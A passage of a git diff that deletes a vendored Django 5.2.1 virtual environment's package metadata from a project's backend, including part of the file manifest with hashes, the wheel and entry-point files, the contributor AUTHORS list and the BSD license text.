-django/utils/translation/__init__.py,sha256=IzuMZHXY059T4hOcsqQjDmSOT2itEQb8OBsNi88aURA,8878 -django/utils/translation/__pycache__/__init__.cpython-311.pyc,, -django/utils/translation/__pycache__/reloader.cpython-311.pyc,, -django/utils/translation/__pycache__/template.cpython-311.pyc,, -django/utils/translation/__pycache__/trans_null.cpython-311.pyc,, -django/utils/translation/__pycache__/trans_real.cpython-311.pyc,, -django/utils/translation/reloader.py,sha256=oVM0xenn3fraUomMEFucvwlbr5UGYUijWnUn6FL55Zc,1114 -django/utils/translation/template.py,sha256=TOfPNT62RnUbUG64a_6d_VQ7tsDC1_F1TCopw_HwlcA,10549 -django/utils/translation/trans_null.py,sha256=niy_g1nztS2bPsINqK7_g0HcpI_w6hL-c8_hqpC7U7s,1287 -django/utils/translation/trans_real.py,sha256=nt-w0rGgdcynyljdBGPqhMaDsdtvR_IyZiAvO4J2LS4,22273 -django/utils/tree.py,sha256=v8sNUsnsG2Loi9xBIIk0GmV5yN7VWOGTzbmk8BOEs6E,4394 -django/utils/version.py,sha256=YJ41J-BggYvEJNpTS8pU5x7utd-327YAjusfdTkTMrI,3737 -django/utils/xmlutils.py,sha256=LsggeI4vhln3An_YXNBk2cCwKLQgMe-O_3L--j3o3GM,1172 -django/views/__init__.py,sha256=GIq6CKUBCbGpQVyK4xIoaAUDPrmRvbBPSX_KSHk0Bb4,63 -django/views/__pycache__/__init__.cpython-311.pyc,, -django/views/__pycache__/csrf.cpython-311.pyc,, -django/views/__pycache__/debug.cpython-311.pyc,, -django/views/__pycache__/defaults.cpython-311.pyc,, -django/views/__pycache__/i18n.cpython-311.pyc,, -django/views/__pycache__/static.cpython-311.pyc,, -django/views/csrf.py,sha256=PwZPfYD-zI0SL19etlwAcpD4LOMp8Flu1qPGgHlrsBg,3425 -django/views/debug.py,sha256=4oMlptUiQdp1oMeC3aQY6z-6r_F91iuEg1YKrZUsLc8,25670 -django/views/decorators/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/views/decorators/__pycache__/__init__.cpython-311.pyc,, -django/views/decorators/__pycache__/cache.cpython-311.pyc,, -django/views/decorators/__pycache__/clickjacking.cpython-311.pyc,, -django/views/decorators/__pycache__/common.cpython-311.pyc,, -django/views/decorators/__pycache__/csrf.cpython-311.pyc,, -django/views/decorators/__pycache__/debug.cpython-311.pyc,, -django/views/decorators/__pycache__/gzip.cpython-311.pyc,, -django/views/decorators/__pycache__/http.cpython-311.pyc,, -django/views/decorators/__pycache__/vary.cpython-311.pyc,, -django/views/decorators/cache.py,sha256=4cWEWW88qPv57St9Wwmv0aK0vVxD-7aevFOQc8z4pQs,2821 -django/views/decorators/clickjacking.py,sha256=3w8djeDoQUK67uDfIzi9jdlds_ZdekwDMIV2IM8NBWk,2555 -django/views/decorators/common.py,sha256=Kcj1Q-aPTBLGMW_kkeUleRiYiEZCg7uoP_UexklyyQA,739 -django/views/decorators/csrf.py,sha256=q9lXnlNkbm7Hlg4FRx1pesf64sNpCIC52mCqY7xduZo,2324 -django/views/decorators/debug.py,sha256=jvKimgFDSVzCN3RWA1X5Ry7BSADFA21K3A2RjUsJy7E,5256 -django/views/decorators/gzip.py,sha256=PtpSGd8BePa1utGqvKMFzpLtZJxpV2_Jej8llw5bCJY,253 -django/views/decorators/http.py,sha256=vaoIxGGIn6kychggji7CmdmVl5JXvNs-7FUUVNv5w9Y,6533 -django/views/decorators/vary.py,sha256=DGR1eA8mSaXM8kgMJta4XnzCznJIrW1_KDMrd4aqCTM,1201 -django/views/defaults.py,sha256=BXT36auw8XF5ZwqdU0akzX5ITFBWhuy8idT8YGkCo_I,4718 -django/views/generic/__init__.py,sha256=VwQKUbBFJktiq5J2fo3qRNzRc0STfcMRPChlLPYAkkE,886 -django/views/generic/__pycache__/__init__.cpython-311.pyc,, -django/views/generic/__pycache__/base.cpython-311.pyc,, -django/views/generic/__pycache__/dates.cpython-311.pyc,, -django/views/generic/__pycache__/detail.cpython-311.pyc,, -django/views/generic/__pycache__/edit.cpython-311.pyc,, -django/views/generic/__pycache__/list.cpython-311.pyc,, -django/views/generic/base.py,sha256=p5HbLA01-FQSqC3hSGIg7jQk23khBMn9ssg4d9GHui4,9275 -django/views/generic/dates.py,sha256=xTAGETRksrGbGreC6Y7CAHMjMQLAgOoxPfxocPGrMqQ,26921 -django/views/generic/detail.py,sha256=XTkGIGWpaGxbudMvGOrFKC6p8sl_EKhn13IA5g_1z8w,7022 -django/views/generic/edit.py,sha256=uyRw11siRsNRXz0id4A2crJeDGUncQ8Ce4fiWbDgtDg,9040 -django/views/generic/list.py,sha256=KyVxf8MXaQg2uYG3vmIVQXhSkq7PiTM6sTkJlYKy1mE,8009 -django/views/i18n.py,sha256=EVTwiUOVetsRqzxs3HSwiuC7Wa_e-CYBDq26m_Nexk8,9020 -django/views/static.py,sha256=dfEj3tr0tBN6fW02T0z43fszVSj1DB6Gxe-C3V4VYPo,4055 -django/views/templates/csrf_403.html,sha256=lrD9CeNoW5UOC1cay8RJzydMMWF12BMMSpz5UDufNAk,2856 -django/views/templates/default_urlconf.html,sha256=P8dRIQu9i-K38Gsk-OP7nAMR4vGtMd2-Pw6cWjKnhN8,12521 -django/views/templates/directory_index.html,sha256=0CGI4FUy9n_Yo2e7U2vWeKCLsUgizBmoqHseNQxxe04,653 -django/views/templates/i18n_catalog.js,sha256=WTPJxawKwdORo12g9I_mUn4YSU6Xx-DCx6E06yKBKZQ,2785 -django/views/templates/technical_404.html,sha256=da7h7kPnDufG3D1KM5JzySVHEm4mTYx3UxV8KdPSz_c,2816 -django/views/templates/technical_500.html,sha256=pHmxLtEwFNAw4zt3k97ty5dvYq9q0E0p1nFF1pRYdpI,18138 -django/views/templates/technical_500.txt,sha256=b0ihE_FS7YtfAFOXU_yk0-CTgUmZ4ZkWVfkFHdEQXQI,3712 diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/REQUESTED b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/REQUESTED deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/WHEEL b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/WHEEL deleted file mode 100644 index b252c113..00000000 --- a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (80.3.1) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/entry_points.txt b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/entry_points.txt deleted file mode 100644 index eaeb88e2..00000000 --- a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/entry_points.txt +++ /dev/null @@ -1,2 +0,0 @@ -[console_scripts] -django-admin = django.core.management:execute_from_command_line diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/licenses/AUTHORS b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/licenses/AUTHORS deleted file mode 100644 index 6fd36510..00000000 --- a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/licenses/AUTHORS +++ /dev/null @@ -1,1121 +0,0 @@ -Django was originally created in late 2003 at World Online, the web division -of the Lawrence Journal-World newspaper in Lawrence, Kansas. - -Here is an inevitably incomplete list of MUCH-APPRECIATED CONTRIBUTORS -- -people who have submitted patches, reported bugs, added translations, helped -answer newbie questions, and generally made Django that much better: - - Aaron Cannon - Aaron Linville - Aaron Swartz - Aaron T. Myers - Abeer Upadhyay - Abhijeet Viswa - Abhinav Patil - Abhinav Yadav - Abhishek Gautam - Abhyudai - Adam Allred - Adam Bogdał - Adam Donaghy - Adam Johnson - Adam Malinowski - Adam Vandenberg - Adam Zapletal - Ade Lee - Adiyat Mubarak - Adnan Umer - Arslan Noor - Adrian Holovaty - Adrian Torres - Adrien Lemaire - Afonso Fernández Nogueira - AgarFu - Ahmad Alhashemi - Ahmad Al-Ibrahim - Ahmed Eltawela - ajs - Akash Agrawal - Akash Kumar Sen - Akis Kesoglou - Aksel Ethem - Akshesh Doshi - alang@bright-green.com - Alasdair Nicol - Albert Defler - Albert Wang - Alcides Fonseca - Aldian Fazrihady - Alejandro García Ruiz de Oteiza - Aleksander Milinkevich - Aleksandra Sendecka - Aleksi Häkli - Alex Dutton - Alexander Lazarević - Alexander Myodov - Alexandr Tatarinov - Alex Aktsipetrov - Alex Becker - Alex Couper - Alex Dedul - Alex Gaynor - Alex Hill - Alex Ogier - Alex Robbins - Alexey Boriskin - Alexey Tsivunin - Ali Vakilzade - Aljaž Košir - Aljosa Mohorovic - Alokik Vijay - Amir Karimi - Amit Chakradeo - Amit Ramon - Amit Upadhyay - A. Murat Eren - Ana Belen Sarabia - Ana Krivokapic - Andi Albrecht - André Ericson - Andrei Kulakov - Andreas - Andreas Mock - Andreas Pelme - Andrés Torres Marroquín - Andreu Vallbona Plazas - Andrew Brehaut - Andrew Clark - Andrew Durdin - Andrew Godwin - Andrew Miller - Andrew Pinkham - Andrews Medina - Andrew Northall - Andriy Sokolovskiy - Andy Chosak - Andy Dustman - Andy Gayton - andy@jadedplanet.net - Anssi Kääriäinen - ant9000@netwise.it - Anthony Briggs - Anthony Wright - Antoine Chéneau - Anton Samarchyan - Antoni Aloy - Antonio Cavedoni - Antonis Christofides - Antti Haapala - Antti Kaihola - Anubhav Joshi - Anvesh Mishra - Anže Pečar - A. Rafey Khan - Aram Dulyan - arien - Arjun Omray - Armin Ronacher - Aron Podrigal - Arsalan Ghassemi - Artem Gnilov - Arthur - Arthur Jovart - Arthur Koziel - Arthur Moreira - Arthur Rio - Arvis Bickovskis - Arya Khaligh - Aryeh Leib Taurog - A S Alam - Asif Saif Uddin - atlithorn - Audrey Roy - av0000@mail.ru - Axel Haustant - Aymeric Augustin - Bahadır Kandemir - Baishampayan Ghose - Baptiste Mispelon - Barry Pederson - Bartolome Sanchez Salado - Barton Ip - Bartosz Grabski - Bashar Al-Abdulhadi - Bastian Kleineidam - Batiste Bieler - Batman - Batuhan Taskaya - Baurzhan Ismagulov - Ben Cardy - Ben Dean Kawamura - Ben Firshman - Ben Godfrey - Benjamin Wohlwend - Ben Khoo - Ben Lomax - Ben Slavin - Ben Sturmfels - Bendegúz Csirmaz - Berker Peksag - Bernd Schlapsi - Bernhard Essl - berto - Bhuvnesh Sharma - Bill Fenner - Bjørn Stabell - Bo Marchman - Bogdan Mateescu - Bojan Mihelac - Bouke Haarsma - Božidar Benko - Brad Melin - Brandon Chinn - Brant Harris - Brendan Hayward - Brendan Quinn - Brenton Simpson - Brett Cannon - Brett Hoerner - Brian Beck - Brian Fabian Crain - Brian Harring - Brian Helba - Brian Nettleton - Brian Ray - Brian Rosner - Bruce Kroeze - Bruno Alla - Bruno Renié - brut.alll@gmail.com - Bryan Chow - Bryan Veloso - bthomas - btoll@bestweb.net - C8E - Caio Ariede - Calvin Spealman - Cameron Curry - Cameron Knight (ckknight) - Can Burak Çilingir - Can Sarıgöl - Carl Meyer - Carles Pina i Estany - Carlos Eduardo de Paula - Carlos Matías de la Torre - Carlton Gibson - cedric@terramater.net - Chad Whitman - ChaosKCW - Charlie Leifer - charly.wilhelm@gmail.com - Chason Chaffin - Cheng Zhang - Chiemezuo Akujobi - Chinmoy Chakraborty - Chris Adams - Chris Beaven - Chris Bennett - Chris Cahoon - Chris Chamberlin - Chris Jerdonek - Chris Jones - Chris Lamb - Chris Streeter - Christian Barcenas - Christian Metts - Christian Oudard - Christian Tanzer - Christoffer Sjöbergsson - Christophe Pettus - Christopher Adams - Christopher Babiak - Christopher Lenz - Christoph Mędrela - Chris Wagner - Chris Wesseling - Chris Wilson - Ciaran McCormick - Claude Paroz - Clint Ecker - colin@owlfish.com - Colin Wood - Collin Anderson - Collin Grady - Colton Hicks - Craig Blaszczyk - crankycoder@gmail.com - Curtis Maloney (FunkyBob) - dackze+django@gmail.com - Dagur Páll Ammendrup - Dane Springmeyer - Dan Fairs - Daniel Alves Barbosa de Oliveira Vaz - Daniel Duan - Daniele Procida - Daniel Fairhead - Daniel Greenfeld - dAniel hAhler - Daniel Jilg - Daniel Lindsley - Daniel Poelzleithner - Daniel Pyrathon - Daniel Roseman - Daniel Tao - Daniel Wiesmann - Danilo Bargen - Dan Johnson - Dan Palmer - Dan Poirier - Dan Stephenson - Dan Watson - dave@thebarproject.com - David Ascher - David Avsajanishvili - David Blewett - David Brenneman - David Cramer - David Danier - David Eklund - David Foster - David Gouldin - david@kazserve.org - David Krauth - David Larlet - David Reynolds - David Sanders - David Schein - David Tulig - David Winiecki - David Winterbottom - David Wobrock - Davide Ceretti - Deep L. Sukhwani - Deepak Thukral - Denis Kuzmichyov - Dennis Schwertel - Derek Willis - Deric Crago - deric@monowerks.com - Deryck Hodge - Dimitris Glezos - Dirk Datzert - Dirk Eschler - Dmitri Fedortchenko - Dmitry Jemerov - dne@mayonnaise.net - Dolan Antenucci - Donald Harvey - Donald Stufft - Don Spaulding - Doug Beck - Doug Napoleone - dready - Durval Carvalho de Souza - dusk@woofle.net - Dustyn Gibson - Ed Morley - Egidijus Macijauskas - eibaan@gmail.com - elky - Emmanuelle Delescolle - Emil Stenström - enlight - Enrico - Eric Boersma - Eric Brandwein - Eric Floehr - Eric Florenzano - Eric Holscher - Eric Moritz - Eric Palakovich Carr - Erik Karulf - Erik Romijn - eriks@win.tue.nl - Erin Kelly - Erwin Junge - Esdras Beleza - Espen Grindhaug - Étienne Beaulé - Eugene Lazutkin - Evan Grim - Fabian Büchler - Fabian Braun - Fabrice Aneche - Faishal Manzar - Farhaan Bukhsh - favo@exoweb.net - fdr - Federico Capoano - Felipe Lee - Filip Noetzel - Filip Wasilewski - Finn Gruwier Larsen - Fiza Ashraf - Flávio Juvenal da Silva Junior - flavio.curella@gmail.com - Florian Apolloner - Florian Demmer - Florian Moussous - fnaimi66 - Fran Hrženjak - Francesco Panico - Francisco Albarran Cristobal - Francisco Couzo - François Freitag - Frank Tegtmeyer - Frank Wierzbicki - Frank Wiles - František Malina - Fraser Nevett - Gabriel Grant - Gabriel Hurley - Gaël Utard - gandalf@owca.info - Garry Lawrence - Garry Polley - Garth Kidd - Gary Wilson - Gasper Koren - Gasper Zejn - Gav O'Connor - Gavin Wahl - Ge Hanbin - geber@datacollect.com - Geert Vanderkelen - George Karpenkov - George Song - George Vilches - George Y. Kussumoto - Georg "Hugo" Bauer - Georgi Stanojevski - Gerardo Orozco - Gil Gonçalves - Girish Kumar - Girish Sontakke - Gisle Aas - Glenn Maynard - glin@seznam.cz - GomoX - Gonzalo Saavedra - Gopal Narayanan - Graham Carlyle - Grant Jenks - Greg Chapple - Greg Twohig - Gregor Allensworth - Gregor Müllegger - Grigory Fateyev - Grzegorz Ślusarek - Guilherme Mesquita Gondim - Guillaume Pannatier - Gustavo Picon - hambaloney - Hang Park - Hannes Ljungberg - Hannes Struß - Hao Dong - Harm Geerts - Hasan Ramezani - Hawkeye - Helen Sherwood-Taylor - Henrique Romano - Henry Dang - Hidde Bultsma - Himanshu Chauhan - hipertracker@gmail.com - Hiroki Kiyohara - Hisham Mahmood - Honza Král - Horst Gutmann - Hugo Osvaldo Barrera - HyukJin Jang - Hyun Mi Ae - Iacopo Spalletti - Ian A Wilson - Ian Clelland - Ian Holsman - Ian Lee - Ibon - Idan Gazit - Idan Melamed - Ifedapo Olarewaju - Igor Kolar - Illia Volochii - Ilya Bass - Ilya Semenov - Ingo Klöcker - I.S. van Oostveen - Iuri de Silvio - ivan.chelubeev@gmail.com - Ivan Sagalaev (Maniac) - Jaap Roes - Jack Moffitt - Jacob Burch - Jacob Green - Jacob Kaplan-Moss - Jacob Rief - Jacob Walls - Jakub Bagiński - Jakub Paczkowski - Jakub Wilk - Jakub Wiśniowski - james_027@yahoo.com - James Aylett - James Bennett - James Gillard - James Murty - James Tauber - James Timmins - James Turk - James Wheare - Jamie Matthews - Jannis Leidel - Janos Guljas - Jan Pazdziora - Jan Rademaker - Jarek Głowacki - Jarek Zgoda - Jarosław Wygoda - Jason Davies (Esaj) - Jason Huggins - Jason McBrayer - jason.sidabras@gmail.com - Jason Yan - Javier Mansilla - Jay Parlar - Jay Welborn - Jay Wineinger - J. Clifford Dyer - jcrasta@gmail.com - jdetaeye - Jeff Anderson - Jeff Balogh - Jeff Hui - Jeffrey Gelens - Jeff Triplett - Jeffrey Yancey - Jens Diemer - Jens Page - Jensen Cochran - Jeong-Min Lee - Jérémie Blaser - Jeremy Bowman - Jeremy Carbaugh - Jeremy Dunck - Jeremy Lainé - Jeremy Thompson - Jerin Peter George - Jesse Young - Jezeniel Zapanta - jhenry - Jim Dalton - Jimmy Song - Jiri Barton - Joachim Jablon - Joao Oliveira - Joao Pedro Silva - Joe Heck - Joe Jackson - Joel Bohman - Joel Heenan - Joel Watts - Joe Topjian - Johan C. Stöver - Johann Queuniet - Johannes Westphal - john@calixto.net - John D'Agostino - John D'Ambrosio - John Huddleston - John Moses - John Paulett - John Shaffer - Jökull Sólberg Auðunsson - Jon Dufresne - Jon Janzen - Jonas Haag - Jonas Lundberg - Jonathan Davis - Jonatas C. D. - Jonathan Buchanan - Jonathan Daugherty (cygnus) - Jonathan Feignberg - Jonathan Slenders - Jonny Park - Jordan Bae - Jordan Dimov - Jordi J. Tablada - Jorge Bastida - Jorge Gajon - José Tomás Tocino García - Josef Rousek - Joseph Kocherhans - Josh Smeaton - Joshua Cannon - Joshua Ginsberg - Jozko Skrablin - J. Pablo Fernandez - jpellerin@gmail.com - Juan Catalano - Juan Manuel Caicedo - Juan Pedro Fisanotti - Julia Elman - Julia Matsieva - Julian Bez - Julie Rymer - Julien Phalip - Junyoung Choi - junzhang.jn@gmail.com - Jure Cuhalev - Justin Bronn - Justine Tunney - Justin Lilly - Justin Michalicek - Justin Myles Holmes - Jyrki Pulliainen - Kacper Wolkiewicz - Kadesarin Sanjek - Kapil Bansal - Karderio - Karen Tracey - Karol Sikora - Kasun Herath - Katherine “Kati” Michel - Kathryn Killebrew - Katie Miller - Keith Bussell - Kenneth Love - Kent Hauser - Keryn Knight - Kevin Grinberg - Kevin Kubasik - Kevin McConnell - Kieran Holland - kilian - Kim Joon Hwan 김준환 - Kim Soung Ryoul 김성렬 - Klaas van Schelven - knox - konrad@gwu.edu - Kowito Charoenratchatabhan - Krišjānis Vaiders - krzysiek.pawlik@silvermedia.pl - Krzysztof Jagiello - Krzysztof Jurewicz - Krzysztof Kulewski - kurtiss@meetro.com - Lakin Wecker - Lars Yencken - Lau Bech Lauritzen - Laurent Luce - Laurent Rahuel - lcordier@point45.com - Leah Culver - Leandra Finger - Lee Reilly - Lee Sanghyuck - Lemuel Sta Ana - Leo "hylje" Honkanen - Leo Shklovskii - Leo Soto - lerouxb@gmail.com - Lex Berezhny - Liang Feng - Lily Foote - limodou - Lincoln Smith - Liu Yijie <007gzs@gmail.com> - Loek van Gent - Loïc Bistuer - Lowe Thiderman - Luan Pablo - Lucas Connors - Lucas Esposito - Luciano Ramalho - Lucidiot - Ludvig Ericson - Luis C. Berrocal - Łukasz Langa - Łukasz Rekucki - Luke Granger-Brown - Luke Plant - Maciej Fijalkowski - Maciej Wiśniowski - Mads Jensen - Makoto Tsuyuki - Malcolm Tredinnick - Manav Agarwal - Manuel Saelices - Manuzhai - Marc Aymerich Gubern - Marc Egli - Marcel Telka - Marcelo Galigniana - Marc Fargas - Marc Garcia - Marcin Wróbel - Marc Remolt - Marc Seguí Coll - Marc Tamlyn - Marc-Aurèle Brothier - Marian Andre - Marijke Luttekes - Marijn Vriens - Mario Gonzalez - Mariusz Felisiak - Mark Biggers - Mark Evans - Mark Gensler - mark@junklight.com - Mark Lavin - Mark Sandstrom - Markus Amalthea Magnuson - Markus Holtermann - Marten Kenbeek - Marti Raudsepp - martin.glueck@gmail.com - Martin Green - Martin Kosír - Martin Mahner - Martin Maney - Martin von Gagern - Mart Sõmermaa - Marty Alchin - Masashi Shibata - masonsimon+django@gmail.com - Massimiliano Ravelli - Massimo Scamarcia - Mathieu Agopian - Matías Bordese - Matt Boersma - Matt Brewer - Matt Croydon - Matt Deacalion Stevens - Matt Dennenbaum - Matthew Flanagan - Matthew Schinckel - Matthew Somerville - Matthew Tretter - Matthew Wilkes - Matthias Kestenholz - Matthias Pronk - Matt Hoskins - Matt McClanahan - Matt Riggott - Matt Robenolt - Mattia Larentis - Mattia Procopio - Mattias Loverot - mattycakes@gmail.com - Max Burstein - Max Derkachev - Max Smolens - Maxime Lorant - Maxime Toussaint - Maxime Turcotte - Maximilian Merz - Maximillian Dornseif - mccutchen@gmail.com - Meghana Bhange - Meir Kriheli - Michael S. Brown - Michael Hall - Michael Josephson - Michael Lissner - Michael Manfre - michael.mcewan@gmail.com - Michael Placentra II - Michael Radziej - Michael Sanders - Michael Schwarz - Michael Sinov - Michael Thornhill - Michal Chruszcz - michal@plovarna.cz - Michał Modzelewski - Mihai Damian - Mihai Preda - Mikaël Barbero - Mike Axiak - Mike Edmunds - Mike Grouchy - Mike Malone - Mike Richardson - Mike Wiacek - Mikhail Korobov - Mikko Hellsing - Mikołaj Siedlarek - milkomeda - Milton Waddams - mitakummaa@gmail.com - mmarshall - Moayad Mardini - Morgan Aubert - Moritz Sichert - Morten Bagai - msaelices - msundstr - Mushtaq Ali - Mykola Zamkovoi - Nadège Michel - Nagy Károly - Nasimul Haque - Nasir Hussain - Natalia Bidart - Nate Bragg - Nathan Gaberel - Neal Norwitz - Nebojša Dorđević - Ned Batchelder - Nena Kojadin - Niall Dalton - Niall Kelly - Nick Efford - Nick Lane - Nick Pope - Nick Presta - Nick Sandford - Nick Sarbicki - Niclas Olofsson - Nicola Larosa - Nicolas Lara - Nicolas Noé - Nikita Marchant - Nikita Sobolev - Nina Menezes - Niran Babalola - Nis Jørgensen - Nowell Strite - Nuno Mariz - Octavio Peri - oggie rob - oggy - Oguzhan Akan - Oliver Beattie - Oliver Rutherfurd - Olivier Le Thanh Duong - Olivier Sels - Olivier Tabone - Orestis Markou - Orne Brocaar - Oscar Ramirez - Ossama M. Khayat - Owen Griffiths - Ömer Faruk Abacı - Pablo Martín - Panos Laganakos - Paolo Melchiorre - Pascal Hartig - Pascal Varet - Patrik Sletmo - Paul Bissex - Paul Collier - Paul Collins - Paul Donohue - Paul Lanier - Paul McLanahan - Paul McMillan - Paulo Poiati - Paulo Scardine - Paul Smith - Pavel Kulikov - pavithran s - Pavlo Kapyshin - permonik@mesias.brnonet.cz - Petar Marić - Pete Crosier - peter@mymart.com - Peter DeVita - Peter Sheats - Peter van Kampen - Peter Zsoldos - Pete Shinners - Petr Marhoun - Petter Strandmark - pgross@thoughtworks.com - phaedo - phil.h.smith@gmail.com - Philip Lindborg - Philippe Raoult - phil@produxion.net - Piotr Jakimiak - Piotr Lewandowski - plisk - polpak@yahoo.com - pradeep.gowda@gmail.com - Prashant Pandey - Preston Holmes - Preston Timmons - Priyank Panchal - Priyansh Saxena - Przemysław Buczkowski - Przemysław Suliga - Qi Zhao - Rachel Tobin - Rachel Willmer - Radek Švarz - Rafael Giebisch - Raffaele Salmaso - Rahmat Faisal - Rajesh Dhawan - Ramez Ashraf - Ramil Yanbulatov - Ramin Farajpour Cami - Ramiro Morales - Ramon Saraiva - Ram Rachum - Randy Barlow - Raphaël Barrois - Raphael Michel - Raúl Cumplido - Rebecca Smith - Remco Wendt - Renaud Parent - Renbi Yu - Reza Mohammadi - rhettg@gmail.com - Ricardo Javier Cárdenes Medina - ricardojbarrios@gmail.com - Riccardo Di Virgilio - Riccardo Magliocchetti - Richard Davies - Richard House - Rick Wagner - Rigel Di Scala - Robert Coup - Robert Myers - Roberto Aguilar - Robert Rock Howard - Robert Wittams - Rob Golding-Day - Rob Hudson - Rob Nguyen - Robin Munn - Rodrigo Pinheiro Marques de Araújo - Rohith P R - Romain Garrigues - Ronnie van den Crommenacker - Ronny Haryanto - Ross Poulton - Roxane Bellot - Rozza - Rudolph Froger - Rudy Mutter - Rune Rønde Laursen - Russell Cloran - Russell Keith-Magee - Russ Webber - Ryan Hall - Ryan Heard - ryankanno - Ryan Kelly - Ryan Niemeyer - Ryan Petrello - Ryan Rubin - Ryno Mathee - Sachin Jat - Sage M. Abdullah - Sam Newman - Samruddhi Dharankar - Sander Dijkhuis - Sanket Saurav - Sanyam Khurana - Sarah Abderemane - Sarah Boyce - Sarthak Mehrish - schwank@gmail.com - Scot Hacker - Scott Barr - Scott Cranfill - Scott Fitsimones - Scott Pashley - scott@staplefish.com - Sean Brant - Sebastian Hillig - Sebastian Spiegel - Segyo Myung - Selwin Ong - Sengtha Chay - Senko Rašić - serbaut@gmail.com - Sergei Maertens - Sergey Fedoseev - Sergey Kolosov - Seth Hill - Shafiya Adzhani - Shai Berger - Shannon -jj Behrens - Shawn Milochik - Shreya Bamne - Silvan Spross - Simeon Visser - Simon Blanchard - Simon Charette - Simon Greenhill - Simon Litchfield - Simon Meers - Simon Williams - Simon Willison - Sjoerd Job Postmus - Slawek Mikula - sloonz - smurf@smurf.noris.de - sopel - Sreehari K V - Sridhar Marella - Srinivas Reddy Thatiparthy - Stanislas Guerra - Stanislaus Madueke - Stanislav Karpov - starrynight - Stefan R. Filipek - Stefane Fermgier - Stefano Rivera - Stéphane Raimbault - Stephan Jaekel - Stephen Burrows - Steven L. Smith (fvox13) - Steven Noorbergen (Xaroth) - Stuart Langridge - Subhav Gautam - Sujay S Kumar - Sune Kirkeby - Sung-Jin Hong - SuperJared - Susan Tan - Sutrisno Efendi - Swaroop C H - Szilveszter Farkas - Taavi Teska - Tai Lee - Takashi Matsuo - Tareque Hossain - Taylor Mitchell - tell-k - Terry Huang - thebjorn - Thejaswi Puthraya - Thijs van Dien - Thom Wiggers - Thomas Chaumeny - Thomas Güttler - Thomas Kerpe - Thomas Sorrel - Thomas Steinacher - Thomas Stromberg - Thomas Tanner - tibimicu@gmx.net - Ties Jan Hefting - Tim Allen - Tim Givois - Tim Graham - Tim Heap - Tim McCurrach - Tim Saylor - Toan Vuong - Tobias Kunze - Tobias McNulty - tobias@neuyork.de - Todd O'Bryan - Tom Carrick - Tom Christie - Tom Forbes - Tom Insam - Tom Tobin - Tom Wojcik - Tomáš Ehrlich - Tomáš Kopeček - Tome Cvitan - Tomek Paczkowski - Tomer Chachamu - Tommy Beadle - Tore Lundqvist - torne-django@wolfpuppy.org.uk - Travis Cline - Travis Pinney - Travis Swicegood - Travis Terry - Trevor Caira - Trey Long - tstromberg@google.com - tt@gurgle.no - Tyler Tarabula - Tyson Clugg - Tyson Tate - Unai Zalakain - Valentina Mukhamedzhanova - valtron - Vasiliy Stavenko - Vasil Vangelovski - Vibhu Agarwal - Victor Andrée - viestards.lists@gmail.com - Viktor Danyliuk - Viktor Grabov - Ville Säävuori - Vinay Karanam - Vinay Sajip - Vincent Foley - Vinko Mlačić - Vinny Do - Vitaly Babiy - Vitaliy Yelnik - Vladimir Kuzma - Vlado - Vsevolod Solovyov - Vytis Banaitis - wam-djangobug@wamber.net - Wang Chun - Warren Smith - Waylan Limberg - Wiktor Kołodziej - Wiley Kestner - Wiliam Alves de Souza - Will Ayd - William Schwartz - Will Hardy - Will Zhao - Wilson Miner - Wim Glenn - wojtek - Wu Haotian - Xavier Francisco - Xia Kai - Yann Fouillat - Yann Malet - Yash Jhunjhunwala - Yasushi Masuda - ye7cakf02@sneakemail.com - ymasuda@ethercube.com - Yoong Kang Lim - Yury V. Zaytsev - Yusuke Miyazaki - Yves Weissig - yyyyyyyan - Zac Hatfield-Dodds - Zachary Voase - Zach Liu - Zach Thompson - Zain Memon - Zain Patel - Zak Johnson - Žan Anderle - Zbigniew Siciarz - zegor - Zeynel Özdemir - Zlatko Mašek - zriv - - -A big THANK YOU goes to: - - Rob Curley and Ralph Gage for letting us open-source Django. - - Frank Wiles for making excellent arguments for open-sourcing, and for - his sage sysadmin advice. - - Ian Bicking for convincing Adrian to ditch code generation. - - Mark Pilgrim for "Dive Into Python" (https://diveintopython3.net/). - - Guido van Rossum for creating Python. diff --git a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/licenses/LICENSE b/backend/venv/Lib/site-packages/django-5.2.1.dist-info/licenses/LICENSE deleted file mode 100644 index 5f4f225d..00000000 --- a/backend/venv/Lib/site-packages/django-5.2.1.dist-info/licenses/LICENSE +++ /dev/null @@ -1,27 +0,0 @@ -Copyright (c) Django Software Foundation and individual contributors. -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, -are permitted provided that the following conditions are met: - - 1. Redistributions of source code must retain the above copyright notice, - this list of conditions and the following disclaimer. - - 2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in the - documentation and/or other materials provided with the distribution. - - 3. Neither the name of Django nor the names of its contributors may be used - to endorse or promote products derived from this software without - specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR -ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR 